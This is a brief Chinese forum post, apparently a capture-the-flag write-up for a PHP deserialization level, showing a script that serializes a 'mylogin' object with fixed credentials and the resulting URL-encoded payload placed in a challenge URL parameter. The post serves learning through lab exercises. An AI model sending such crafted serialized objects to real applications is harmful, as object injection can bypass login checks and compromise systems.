返回
1
0

php-ser-libs-level2

iiice,2026-04-26 19:50
Plaintext
<?php class mylogin{ var $user; var $pass; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } function login(){ if ($this->user=="daydream" and $this->pass=="ok"){ return 1; } } } $a=new mylogin("daydream","ok"); echo urlencode(serialize($a)); ?>

第一次遇到login函数,这个函数类在new时是直接把它的参数放在括号里,不用再->这样。

Plaintext
http://80-07c36e3d-a053-45e7-a1ba-bc74d8907e16.challenge.ctfplus.cn/?param=O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D
暂无回复。你的想法是什么?


bottom-logo1
bottom-logo2captionbottom-logo3
GeeSec
商务合作
bottom-logo4